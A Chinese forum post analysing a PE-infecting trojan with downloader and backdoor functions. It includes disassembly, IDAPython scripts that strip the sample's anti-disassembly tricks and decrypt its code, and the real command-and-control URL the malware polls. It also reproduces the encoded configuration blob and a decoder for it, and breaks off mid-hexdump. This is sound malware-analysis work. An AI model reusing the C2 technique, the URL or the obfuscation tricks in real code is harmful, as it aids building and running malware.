好友
阅读权限 20
听众
最后登录 1970-1-1
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子! 病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途! 禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 yuansunxue 于 2012-5-3 01:18 编辑
这个是我搞病毒分析 以来遇到的相对来说功能比较齐全的病毒,有感染pe文件,有下载执行,有后门功能等。
这个病毒是会感染pe文件的 调试的时候要小心 不过不联网的话 应该不会感染 因为其感染是受网络控制的
入口:00406F88 >/[ DISCUZ_CODE_528 ]nbsp
00406F89 |. 8BEC mov ebp , esp
00406F8B |. 53 push ebx
00406F8C |. 51 push ecx
00406F8D |. E8 04000000 call 00406F96
00406F92 |. 92 xchg eax , edx
00406F93 |. 5F pop edi
00406F94 |. 0000 add byte ptr [eax ], al
00406F96 |[ DISCUZ_CODE_528 ]nbsp
00406F97 |. 2B1B sub ebx , dword ptr [ebx ]
00406F99 |. 8B03 mov eax , dword ptr [ebx ]
00406F9B |. B9 06610000 mov ecx , 6106
00406FA0 |> 83F9 04 /cmp ecx , 4
00406FA3 |. 72 1A |jb short 00406FBF
00406FA5 |. 81F9 82010000 |cmp ecx , 182
00406FAB |. 73 08 |jnb short 00406FB5
00406FAD |. 81F9 3C010000 |cmp ecx , 13C
00406FB3 |. 77 02 |ja short 00406FB7
00406FB5 |> 3103 |xor dword ptr [ebx ], eax
00406FB7 |> 83C3 04 |add ebx , 4
00406FBA |. 83E9 04 |sub ecx , 4
00406FBD |.^ EB E1 \jmp short 00406FA0
00406FBF |> E8 33010000 call 004070F7
发现代码是加密的,解密过程很简单,写个IDA python来解密下:def decrypt_main_exe (startva = 0x401000 ):
eax = Dword(startva)
#alreay decrypted?
if eax ==0 :
return
counter = 0x6106
while True:
if counter < 4 :
break
if (counter > 0x13c ) and (counter<0x182 ):
startva = startva + 4
counter = counter -4
else :
dword_value = Dword(startva)
dword_value = dword_value ^ eax
PatchDword (startva,dword_value )
startva = startva + 4
counter = counter -4
走进 004070f7 .text:004070F7 key_call proc near ; CODE XREF: .text:loc_406FBFp
.text:004070F7 call GetFuncsAddress
.text:004070FC test eax, eax
.text:004070FE jz short locret_407105
.text:00407100
.text:00407100 loc_407100:
.text:00407100 call sub_406FCA
.text:00407105
.text:00407105 locret_407105: ; CODE XREF: key_call+7j
.text:00407105 retn
004070f7的call 在ida中直接去大致浏览一下,发现只是获取一些api地址
但是其中用到了一些小技巧来影响我们的反汇编分析
1、获取api地址的时候,比较api地址的前一个字节是否是90 如果是90 则api地址减一,
造成od无法正确的现实api调用。直接ctrl + b 搜索二进制 8038907401 nop掉即可。00401325 48 dec eax
00401326 8038 90 cmp byte ptr [eax ], 90
00401329 74 01 je short 0040132C
0040132B 40 inc eax
获取的api地址为:00401014 7 C80AC28 kernel32.GetProcAddress
00401018 7 C801D77 kernel32.LoadLibraryA
0040101 C 7 C80EB3F kernel32.CreateMutexA
00401020 7 C910331 ntdll.RtlGetLastWin32Error
00401024 7 C809B 77 kernel32.CloseHandle
00401028 7 C86114D kernel32.WinExec
0040102 C 7 C812851 kernel32.GetVersionExA
00401030 7 C90311B ntdll.RtlZeroMemory
00401034 7 C80C729 kernel32.lstrcpyA
00401038 7 C838F B9 kernel32.lstrcatA
0040103 C 7 C80C6E0 kernel32.lstrlenA
00401040 7 C8397A1 kernel32.GetCurrentDirectoryA
00401044 7 C80B 357 kernel32.GetModuleFileNameA
00401048 7 C81082F kernel32.CreateThread
0040104 C 7 C830053 kernel32.CopyFileA
00401050 7 C8221CF kernel32.GetTempPathA
00401054 7 C8681F 6 kernel32.GetLongPathNameA
00401058 7 C81174C kernel32.GetFileAttributesA
写个idapython脚本来对地址进行标记一下:
iatfile=r"C:\IDA\idc\py\iat.txt"
def main ():
diclist = dict ()
hfile = file(iatfile,'r' )
for line in hfile.readlines( ):
if len (line)>0x10 :
address = long(line[0 :8 ],16 )
funcname = line.split('.' )
if len (funcname) == 2 :
name = funcname[1 ]
got_name = name[:-1 ]
diclist[got_name] = address
sorted_dic = map (lambda x:(x[0 ], x[1 ]), diclist.items())
for funcname,address in sorted_dic:
address=address & 0xFFFFFFFF
MakeDword(address)
MakeName(address,funcname)
print "address %08x,funcname %s" % (address,funcname)
if __name__ == "__main__" :
print "label start"
main()
print "finished"
2、 一些指令变形
0040132C E8 04000000 call 00401335
00401331 1D 0300005B sbb eax , 5B000003
00401336 2B1B sub ebx , dword ptr [ebx ]
上面的这几条是变形指令,直接go到00401335 可以看到:
0040132C E8 04000000 call 00401335
00401335 5B pop ebx
00401336 2B1B sub ebx , dword ptr [ebx ]
上面的三步指令相当于
.text: 00401333 mov ebx , 0x401014
其中ebx 可以是其他的寄存器,不过在分析过程中只遇到过eax ,ebx ,edi ,esi
类似的变形指令还有
0040127A E8 04000000 call 00401283
00401283 58 pop eax
00401284 2B00 sub eax , dword ptr [eax ]
00401286 FF10 call dword ptr [eax ]
实际为:
00401282 FF15 18104000 call dword ptr [401018 ]
写个idaPython脚本来清理下变形代码:
#encoding=utf-8
def main(startva = 0x401000 ):
FixSegStart = SegStart(startva)
FixSegEnd = SegEnd(startva)
#print "segstart:%08x segend:%08x" % (FixSegStart,FixSegEnd)
for i in range(FixSegStart, FixSegEnd):
curva = i
if Byte (curva) == 0xe8 and Dword (curva+1 ) == 0x4 :
#定位到call 下面的地址
curva = curva + 5
offset = Dword (curva)
#print "offset is %08x" % offset
#if (curva-offset) < FixSegStart:
# print "%08x error" % curva
# continue
call_dest_addr = curva - offset
#print "call_dest_addr is %08x" % call_dest_addr
if Byte (curva+4 ) == 0x58 and Dword (curva+5 ) == 0x10ff002b :
print "curva is %08x" % curva
#开始patch代码
PatchByte(curva-5 ,0x90 )
PatchDword(curva-4 ,0x90909090 )
MakeCode(curva-4 )
MakeCode(curva-3 )
MakeCode(curva-2 )
MakeCode(curva-1 )
MakeCode(curva-5 )
PatchByte(curva,0x90 )
PatchByte(curva+1 ,0x90 )
PatchByte(curva+2 ,0x90 )
PatchWord(curva+3 ,0x15ff )
PatchDword(curva+5 ,call_dest_addr)
MakeCode(curva-5 )
MakeCode(curva+1 )
MakeCode(curva+2 )
MakeUnknown(curva+3 ,0x6 ,0 )
HideArea(curva-5 , curva + 3 , "nop code" , "----------" , "----------" , 0xa0a0a0 )
MakeCode(curva+3 )
'''
.text: 004047E3 E8 04 00 00 00 call loc_4047EC
.text: 004047E3
.text: 004047E8 B3 00 00 00 dd 0B3h
.text: 004047EC
.text: 004047EC
.text: 004047EC loc_4047EC:
.text: 004047EC 58 pop eax
.text: 004047ED 2B 00 sub eax , [eax ]
.text: 004047EF 8B 4D 08 mov ecx , [ebp +8 ]
相当于mov eax ,xxx
'''
elif Byte (curva+4 ) == 0x58 and Word (curva+5 ) == 0x002b and Word (curva+7 ) != 0x10ff :
#获取mov 的值
pop_eax = curva
dword_eax = Dword (pop_eax)
moved_value = pop_eax - dword_eax
print "moved_value is % 08x" % moved_value
moved_value = moved_value & 0xffffffff
#开始修改代码
PatchByte(curva+2 ,0xb8 )
PatchDword(curva+3 ,moved_value)
#nop 掉之前的代码
PatchDword(curva-5 ,0x90909090 )
PatchWord(curva-1 ,0x9090 )
PatchByte(curva+1 ,0x90 )
#让ida认为这是代码
MakeUnknown(curva-5 ,0xc ,0 )
MakeCode(curva-5 )
MakeCode(curva-4 )
MakeCode(curva-3 )
MakeCode(curva-2 )
MakeCode(curva-1 )
MakeCode(curva+1 )
MakeCode(curva+2 )
HideArea(curva-5 , curva + 2 , "nop code" , "----------" , "----------" , 0xa0a0a0 )
'''
.text: 00404914 E8 04 00 00 00 call loc_40491D
.text: 00404914
.text: 00404919 D0 01 00 00 dd 1D0h
.text: 0040491D
.text: 0040491D
.text: 0040491D loc_40491D:
.text: 0040491D 5B pop ebx
.text: 0040491E 2B 1B sub ebx , [ebx ]
'''
elif Byte (curva+4 ) == 0x5b and Word (curva+5 ) == 0x1b2b and Word (curva+7 ) != 0xd3ff :
#获取mov 的值
pop_ebx = curva
dword_ebx = Dword (pop_ebx)
moved_value = pop_ebx - dword_ebx
#开始修改代码
PatchByte(curva+2 ,0xbb )
PatchDword(curva+3 ,moved_value)
#nop 掉之前的代码
PatchDword(curva-5 ,0x90909090 )
PatchWord(curva-1 ,0x9090 )
PatchByte(curva+1 ,0x90 )
#让ida认为这是代码
MakeUnknown(curva-5 ,0xc ,0 )
MakeCode(curva-5 )
MakeCode(curva-4 )
MakeCode(curva-3 )
MakeCode(curva-2 )
MakeCode(curva-1 )
MakeCode(curva+1 )
MakeCode(curva+2 )
HideArea(curva-5 , curva + 2 , "nop code" , "----------" , "----------" , 0xa0a0a0 )
'''
.text: 00405E46 E8 04 00 00 00 call loc_405E4F
.text: 00405E46
.text: 00405E4B FB 45 00 00 dd 45FBh
.text: 00405E4F
.text: 00405E4F
.text: 00405E4F loc_405E4F:
.text: 00405E4F 5F pop edi
.text: 00405E50 2B 3F sub edi , [edi ]
'''
elif Byte (curva+4 ) == 0x5f and Word (curva+5 ) == 0x3f2b and Word (curva+7 ) != 0xd7ff :
#获取mov 的值
pop_edi = curva
dword_edi = Dword (pop_edi)
moved_value = pop_edi - dword_edi
#开始修改代码
PatchByte(curva+2 ,0xbf )
PatchDword(curva+3 ,moved_value)
#nop 掉之前的代码
PatchDword(curva-5 ,0x90909090 )
PatchWord(curva-1 ,0x9090 )
PatchByte(curva+1 ,0x90 )
#让ida认为这是代码
MakeUnknown(curva-5 ,0xc ,0 )
MakeCode(curva-5 )
MakeCode(curva-4 )
MakeCode(curva-3 )
MakeCode(curva-2 )
MakeCode(curva-1 )
MakeCode(curva+1 )
MakeCode(curva+2 )
HideArea(curva-5 , curva + 2 , "nop code" , "----------" , "----------" , 0xa0a0a0 )
'''
.text: 00402664 E8 04 00 00 00 call loc_40266D
.text: 00402664
.text: 00402669 69 16 00 00 dd 1669h
.text: 0040266D
.text: 0040266D
.text: 0040266D loc_40266D:
.text: 0040266D 5E pop esi
.text: 0040266E 2B 36 sub esi , [esi ]
'''
elif Byte (curva+4 ) == 0x5e and Word (curva+5 ) == 0x362b and Word (curva+7 ) != 0xd6ff :
#获取mov 的值
pop_esi = curva
dword_esi = Dword (pop_esi)
moved_value = pop_esi - dword_esi
#开始修改代码
PatchByte(curva+2 ,0xbe )
PatchDword(curva+3 ,moved_value)
#nop 掉之前的代码
PatchDword(curva-5 ,0x90909090 )
PatchWord(curva-1 ,0x9090 )
PatchByte(curva+1 ,0x90 )
#让ida认为这是代码
MakeUnknown(curva-5 ,0xc ,0 )
MakeCode(curva-5 )
MakeCode(curva-4 )
MakeCode(curva-3 )
MakeCode(curva-2 )
MakeCode(curva-1 )
MakeCode(curva+1 )
MakeCode(curva+2 )
HideArea(curva-5 , curva + 2 , "nop code" , "----------" , "----------" , 0xa0a0a0 )
if __name__ == "__main__" :
print "---------------------\nFix Start..."
#fix_call_dword()
main()
print "finished"
现在代码都清理干净了,用ida静态分析即可,有必要可以用od动态调试下,
程序首先会对运行路径以及是否已经有病毒在运行进行一下判断,满足条件才运行病毒代码:
.text:00406FCA sub_406FCA proc near ; CODE XREF: key_call:loc_407100p
.text:00406FCA
.text:00406FCA var_7FF7B = byte ptr -7FF7Bh
.text:00406FCA tmp_path = byte ptr -800h
.text:00406FCA filepath = byte ptr -400h
.text:00406FCA
.text:00406FCA push ebp
.text:00406FCB mov ebp, esp
.text:00406FCD add esp, -800h
.text:00406FD3 push 400h ; nSize
.text:00406FD8 lea eax, [ebp+filepath]
.text:00406FDE push eax ; lpFilename
.text:00406FDF push 0 ; hModule
.text:00406FE1 ; nop code
.text:00406FE9 ; ---------------------------------------------------------------------------
.text:00406FE9 call GetModuleFileNameA
.text:00406FEF push 400h ; cchBuffer
.text:00406FF4 lea eax, [ebp+filepath]
.text:00406FFA push eax ; lpszLongPath
.text:00406FFB push eax ; lpszShortPath
.text:00406FFC ; nop code
.text:00407004 call GetLongPathNameA
.text:0040700A lea eax, [ebp+tmp_path]
.text:00407010 push eax ; lpBuffer
.text:00407011 push 400h ; nBufferLength
.text:00407016 ; nop code
.text:0040701E ; ---------------------------------------------------------------------------
.text:0040701E call GetTempPathA
.text:00407024 push 400h ; cchBuffer
.text:00407029 lea eax, [ebp+tmp_path]
.text:0040702F push eax ; lpszLongPath
.text:00407030 push eax ; lpszShortPath
.text:00407031 ; nop code
.text:00407039 ; ---------------------------------------------------------------------------
.text:00407039 call GetLongPathNameA
.text:0040703F lea eax, [ebp+tmp_path]
.text:00407045 push eax ; lpString
.text:00407046 ; nop code
.text:0040704E ; ---------------------------------------------------------------------------
.text:0040704E call lstrlenA
.text:00407054 mov ecx, eax
.text:00407056 lea esi, [ebp+tmp_path]
.text:0040705C lea edi, [ebp+filepath]
.text:00407062
.text:00407062 @compare: ; CODE XREF: sub_406FCA+ACj
.text:00407062 test ecx, ecx
.text:00407064 jz short @equal
.text:00407066 mov al, [esi]
.text:00407068 mov ah, [edi]
.text:0040706A or eax, 2020h
.text:0040706F xor al, ah
.text:00407071 jnz short loc_40708A
.text:00407073 inc esi
.text:00407074 inc edi
.text:00407075 dec ecx
.text:00407076 jmp short @compare
.text:00407078 ; ---------------------------------------------------------------------------
判断程序是否在%tmp%在启动的 如果是 则来到这里 不是则跳到0040708a
.text:00407078
.text:00407078 @equal: ; CODE XREF: sub_406FCA+9Aj
.text:00407078 call @check_mutex 确保只有一个病毒进程在运行
.text:0040707D test eax, eax
.text:0040707F jnz short @ren
.text:00407081 push 0
.text:00407083 call sub_406D4D 运行payload
.text:00407088 jmp short @ren
.text:0040708A ; ---------------------------------------------------------------------------
.text:0040708A
.text:0040708A loc_40708A: ; CODE XREF: sub_406FCA+A7j
.text:0040708A call sub_406D5E 判断病毒启动的目录下是否存在AAA_AAA_AAA_01文件,如果存在则
运行 "explorer.exe C:\Documents and Settings\SRE\Desktop\AAA_AAA_AAA_01"
AAA_AAA_AAA_01是什么呢? 在网上搜了一下,跟极品飞车12的车的修改代码,有关猜测病毒是通过这个传播的
.text:0040708F call @check_mutex
.text:00407094 test eax, eax
.text:00407096 jnz short @ren
.text:00407098 call loc_4070A7
.text:00407098 ; ---------------------------------------------------------------------------
.text:0040709D aPpsap_exe db 'ppsap.exe',0
.text:004070A7 ; ---------------------------------------------------------------------------
.text:004070A7
.text:004070A7 loc_4070A7: ; CODE XREF: sub_406FCA+CEp
.text:004070A7 lea eax, [ebp+tmp_path]
.text:004070AD push eax ; lpString1
.text:004070AE ; nop code
.text:004070B6 ; ---------------------------------------------------------------------------
.text:004070B6 call lstrcatA
拷贝自身到%tmp%\ppsap.exe
.text:004070BC push 0 ; bFailIfExists
.text:004070BE lea eax, [ebp+tmp_path]
.text:004070C4 push eax ; lpNewFileName
.text:004070C5 lea eax, [ebp+filepath]
.text:004070CB push eax ; lpExistingFileName
.text:004070CC ; nop code
.text:004070D4 call CopyFileA
.text:004070DA test eax, eax
.text:004070DC jz short @ren
拷贝成功则运行%tmp%\ppsap.exe
.text:004070DE push 0 ; uCmdShow
.text:004070E0 lea eax, [ebp+tmp_path]
.text:004070E6 push eax ; lpCmdLine
.text:004070E7 ; nop code
.text:004070EF ; ---------------------------------------------------------------------------
.text:004070EF call WinExec
.text:004070F5
.text:004070F5 @ren: ; CODE XREF: sub_406FCA+B5j
.text:004070F5 ; sub_406FCA+BEj ...
.text:004070F5 leave
.text:004070F6 retn
通过上面的代码我们可以看到起主要恶意代码在00406d4d
.text:00406D4D sub_406D4D proc near ; CODE XREF: sub_406FCA+B9p
.text:00406D4D ; DATA XREF: .text:00406EC6o
.text:00406D4D push ebp
.text:00406D4E mov ebp, esp
.text:00406D50
.text:00406D50 loc_406D50:
依然是获取病毒所需的api地址,处理方法同第一次,获取api列表我就不写了
.text:00406D50 call GetFunsAddress_0
.text:00406D55 call @net_activity_start 接下来进行一些网络活动
.text:00406D5A leave
.text:00406D5B retn 4
.text:00406D5B sub_406D4D endp
进入00406d55处的call
.text: 00406CB5 @net_activity_start proc near
.text: 00406CB5
.text: 00406CB5 call net_activity
.text: 00406CBA test eax , eax
.text: 00406CBC jz short loc_406D34
.text: 00406CBE push 0
.text: 00406CC0 push 2
.text: 00406CC2 push 2
.text: 00406CC4
.text: 00406CCC
.text: 00406CCC call socket
.text: 00406CD2
.text: 00406CD9 mov ebx , offset unk_401860
.text: 00406CDE mov [ebx ], eax
.text: 00406CE0
.text: 00406CE7 mov eax , 401888h
.text: 00406CEC push eax
.text: 00406CED
.text: 00406CF4 mov eax , offset unk_401860
.text: 00406CF9 push dword ptr [eax ]
.text: 00406CFB
.text: 00406D02 mov eax , offset sub_40512F
.text: 00406D07 push eax
.text: 00406D08 call Call_CreateThread
.text: 00406D0D call send_data_net_activity
.text: 00406D12
.text: 00406D19 mov eax , offset unk_401860
.text: 00406D1E push dword ptr [eax ]
.text: 00406D20 mov dword ptr [eax ], 0FFFFFFFFh
.text: 00406D26
.text: 00406D2E
.text: 00406D2E call closesocket
.text: 00406D34
.text: 00406D34 loc_406D34:
.text: 00406D34 push 1B7740h
.text: 00406D39
.text: 00406D41
.text: 00406D41 call Sleep
.text: 00406D47 jmp @net_activity_start
.text: 00406D4C
.text: 00406D4C retn
一步步详解其网络行为:
程序首先从http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014下载配置文件,然后进行分析处理获得下载连接,
下载执行
.text: 00406775 push ecx
.text: 00406776 mov [ebp +need_download_config_data_next_or_not], 0
.text: 0040677D push 100000h
.text: 00406782 push 40h
.text: 00406784
.text: 0040678C call GlobalAlloc
.text: 00406792 test eax , eax
.text: 00406794 jz @retn
.text: 0040679A mov [ebp +config_data_for_backdoor], eax
.text: 0040679D
.text: 0040679D loc_40679D:
.text: 0040679D push 100000h
.text: 004067A2 push [ebp +config_data_for_backdoor]
.text: 004067A5 call loc_4067EB
.text: 004067A5
.text: 004067AA aHttpHome_51_com?uTe db 'http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014' ,0
.text: 004067EB
.text: 004067EB
.text: 004067EB loc_4067EB:
.text: 004067EB call Read_configdata_from_net
.text: 004067F0 test eax , eax
.text: 004067F2 jz short @read_fail
.text: 004067F4 push eax
.text: 004067F5
.text: 004067F5 loc_4067F5:
.text: 004067F5 push [ebp +config_data_for_backdoor]
.text: 004067F8 call Anslysis_config_data_and_download_execute
下载下来的data:
{
window.modData = {"view":{"id":"10049014","gid":"134960","is_top":"0","heart":"","title":"2010-11-20\u7684\u65e5\u8bb0","memo":"<br \/>\r\n########FPAAAAAACGBKEBBAEJHNEEEOEGFFHAGEGBHEGFDADDDADICOGFHIGFAAGIHEHEHADKCPCPHHHHHHCODBGEGJHDGLCOGDGOCPEDGPGOHEGFGOHEFAGBGOGFCOGBHDHAHIDPGEGPHHGODNGPGLCGGGGJGMGFHAGBHEGIDNHEGFHDHEDHDHDFDICFDCGGEEEOEGCOGEGBHEAA<br \/>\r\n<br \/>\r\n########AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br \/>\r\nqq2install<br \/>\r\n########FLAAAAAADGHOEBJKDELLGCGJHCHEGIGHGJGGHECOGFHIGFAAGIHEHEHADKCPCPHHHHHHCODBGEGJHDGLCOGDGOCPEDGPGOHEGFGOHEFAGBGOGFCOGBHDHAHIDPGEGPHHGODNGPGLCGGGGJGMGFHAGBHEGIDNHEGFHDHEDHDHDFDICFDCGGHBHBDCCOGEGPGDAA <br \/>\r\n<br \/>\r\n ","weekday":"1","show_time":"2010-11-20 17:37:00","flower":"0","egg":"0","ping":"0","click":"4236526","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/testdown\/diary\/item\/10049014.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290245878"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/testdown\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/testdown\/diary\/item\/.html"},"catalog":[{"id":"134960","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/testdown\/diary\/group\/134960","count":"1"},{"id":"134961","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/testdown\/diary\/group\/134961","count":"0"},{"id":"134962","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/testdown\/diary\/group\/134962","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"54243","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"237955579","_user":"5759497","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u4f0d\u5148\u751f","face":"http:\/\/p3.u.51img1.com\/39\/31\/267956964_50.gif?v=20120330123104","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"<a href='http:\/\/51vip.51.com\/level\/vipgrade.php' target='_blank'><img src='http:\/\/static.51img1.com\/i\/kf\/viplevel\/vip1.gif?0401' align='absmiddle' border=0 title='\u6210\u957f\u503c 112' style='filter:none;' \/><\/a> ","isconfirm":"1","isopen":"0","user":"267956964","_user":"91628762","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\uff3c\u3002\u88ab\u8fe9\u5ffd\u7565\u3001","face":"http:\/\/p5.u.51img1.com\/55\/d4\/xingfu2025_50.gif?v=20091226161855","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"2","user":"xingfu2025","_user":"xingfu2025","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"_ \u7eaf \u3001","face":"http:\/\/pe.u.51img1.com\/eb\/fd\/lovening1025_50.gif?v=20101209174127","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lovening1025","_user":"lovening1025","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"nacy","face":"http:\/\/pa.u.51img1.com\/a9\/f3\/a20088823_50.gif?v=20090313220255","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"a20088823","_user":"a20088823","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u6e05\u98ce\u4f9d\u65e7","face":"http:\/\/p4.u.51img1.com\/40\/47\/dis13141998_50.gif?v=20110614170758","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"0","isopen":"0","user":"dis13141998","_user":"dis13141998","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"14"},"morediary":[],"current":{"gid":"134960","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/testdown\/diary\/group\/134960"}};
}
解密过程:
.text: 00401A33 Decrypt_read_data proc near
.text: 00401A33
.text: 00401A33
.text: 00401A33 first_dword_after_decrypt= dword ptr -4
.text: 00401A33 arg_0_read_data = dword ptr 8
.text: 00401A33 arg_4_read_size = dword ptr 0Ch
.text: 00401A33
.text: 00401A33 push ebp
.text: 00401A34 mov ebp , esp
.text: 00401A36 add esp , 0FFFFFFFCh
.text: 00401A39 push ebx
.text: 00401A3A push ecx
.text: 00401A3B push edx
.text: 00401A3C push edi
.text: 00401A3D mov ebx , [ebp +arg_0_read_data]
.text: 00401A40 mov ecx , [ebp +arg_4_read_size]
.text: 00401A43 sub ecx , 0Ah
.text: 00401A46
.text: 00401A46 @find_loop:
.text: 00401A46 test ecx , ecx
.text: 00401A48 jz short @return_zero
.text: 00401A4A cmp dword ptr [ebx ], '####'
.text: 00401A50 jnz short @next_byte
.text: 00401A52 cmp dword ptr [ebx +4 ], '####'
.text: 00401A59 jz short @found_flag
.text: 00401A5B
.text: 00401A5B @next_byte:
.text: 00401A5B inc ebx
.text: 00401A5C dec ecx
.text: 00401A5D jmp short @find_loop
.text: 00401A5F
.text: 00401A5F
.text: 00401A5F @found_flag:
.text: 00401A5F add ebx , 8
.text: 00401A62 sub ecx , 8
.text: 00401A62
.text: 00401A65 mov edi , [ebp +arg_0_read_data]
.text: 00401A68 shr ecx , 1
.text: 00401A6A xor eax , eax
.text: 00401A6C
.text: 00401A6C @decrypt_loop:
.text: 00401A6C test ecx , ecx
.text: 00401A6E jz short @decrypt_finished
.text: 00401A70 mov ah , [ebx ]
.text: 00401A72 mov al , [ebx +1 ]
.text: 00401A75 sub eax , 4141h
.text: 00401A7A mov edx , eax
.text: 00401A7C shr eax , 4
.text: 00401A7F or eax , edx
.text: 00401A81 mov [edi ], al
.text: 00401A83 add ebx , 2
.text: 00401A86 inc edi
.text: 00401A87 dec ecx
.text: 00401A88 jmp short @decrypt_loop
.text: 00401A8A
.text: 00401A8A
.text: 00401A8A @decrypt_finished:
.text: 00401A8A mov ebx , [ebp +arg_0_read_data]
.text: 00401A8D mov ecx , [ebx ]
.text: 00401A8F cmp ecx , [ebp +arg_4_read_size]
.text: 00401A92 ja short @return_zero
.text: 00401A94 mov [ebp +first_dword_after_decrypt], ecx
.text: 00401A97 add ebx , 4
.text: 00401A9A movzx edx , word ptr [ebx ]
.text: 00401A9D add ebx , 2
.text: 00401AA0 xor eax , eax
.text: 00401AA2 mov esi , ebx
.text: 00401AA4
.text: 00401AA4 @add_together:
.text: 00401AA4 cmp ecx , 4
.text: 00401AA7 jb short @add_over
.text: 00401AA9 add eax , [esi ]
.text: 00401AAB add esi , 4
.text: 00401AAE sub ecx , 4
.text: 00401AB1 jmp short @add_together
.text: 00401AB3
.text: 00401AB3
.text: 00401AB3 @add_over:
.text: 00401AB3 and eax , 0FFFFh
.text: 00401AB8 cmp eax , edx
.text: 00401ABA jz short @data_is_right
.text: 00401ABC
.text: 00401ABC @return_zero:
.text: 00401ABC
.text: 00401ABC mov [ebp +first_dword_after_decrypt], 0
.text: 00401AC3 jmp short @retn
.text: 00401AC5
.text: 00401AC5
.text: 00401AC5 @data_is_right:
.text: 00401AC5 mov ecx , [ebp +first_dword_after_decrypt]
.text: 00401AC8 mov edi , [ebp +arg_0_read_data]
.text: 00401ACB mov esi , edi
.text: 00401ACD add esi , 6
.text: 00401AD0 rep movsb
.text: 00401AD2
.text: 00401AD2 @retn :
.text: 00401AD2 mov eax , [ebp +first_dword_after_decrypt]
.text: 00401AD5 pop edi
.text: 00401AD6 pop edx
.text: 00401AD7 pop ecx
.text: 00401AD8 pop ebx
.text: 00401AD9 leave
.text: 00401ADA retn 8
.text: 00401ADA Decrypt_read_data endp
写个脚本来模拟其解密过程,顺便监控其下载的配置文件,
写个脚本也不用每次都调试,直接运行脚本就可以获取其解密后配置文件:
import re, struct, os, sys
def Decrypt_Config (srcData, hOutFile ):
currIndex = 0
data_len = len (srcData)
ecx = data_len - 0xa
p = re.compile (r'########(.*)' ,re.DOTALL)
m = p.search(srcData)
decrypt_data = []
if m:
found_offset = m.start(1 )
ecx = ecx - found_offset
ecx = ecx >> 1
while ecx != 0 :
ah = srcData[found_offset]
al = srcData[found_offset+1 ]
eax = (ord (ah) << 0x8 ) | ord (al)
eax = eax - 0x4141
edx = eax
eax = eax >> 4
eax = edx | eax
decrypt_data.append(chr (eax & 0xff ))
found_offset = found_offset+2
ecx = ecx - 1
decrypt_data_ = "" .join(decrypt_data)
first_dword = struct.unpack('I' ,decrypt_data_[0 :4 ])[0 ]
if first_dword <= data_len:
check_value = struct.unpack('H' ,decrypt_data_[4 :6 ])[0 ]
print "check_value %08x" % check_value
ecx = first_dword
eax = 0
esi = decrypt_data_[6 :]
cur_offset = 0
while ecx >= 4 :
eax = eax + struct.unpack('I' ,esi[cur_offset:cur_offset + 4 ])[0 ]
cur_offset = cur_offset + 4
ecx = ecx -4
eax = eax & 0xffff
if eax == check_value:
real_data = decrypt_data_[6 :first_dword+6 ]
hOutFile.write(real_data)
else :
print "no content found"
if __name__=="__main__" :
if len (sys.argv) != 2 :
print "usage: %pro download_config"
os.sys.exit(1 )
srcFile = os.sys.argv[1 ]
hSrc = file(srcFile, "rb" )
data = hSrc.read()
hSrc.close()
dstFile = "%s.decrypt.v" % srcFile
hDstFile = file(dstFile, "wb" )
Decrypt_Config(data, hDstFile)
hDstFile.close()
大小0x5f
$ ==> >41 10 49 7D 44 4E 46 55 AI}DNFU
$+8 >70 64 61 74 65 30 33 30 pdate030
$+10 >38 2E 65 78 65 00 68 74 8.exe.ht
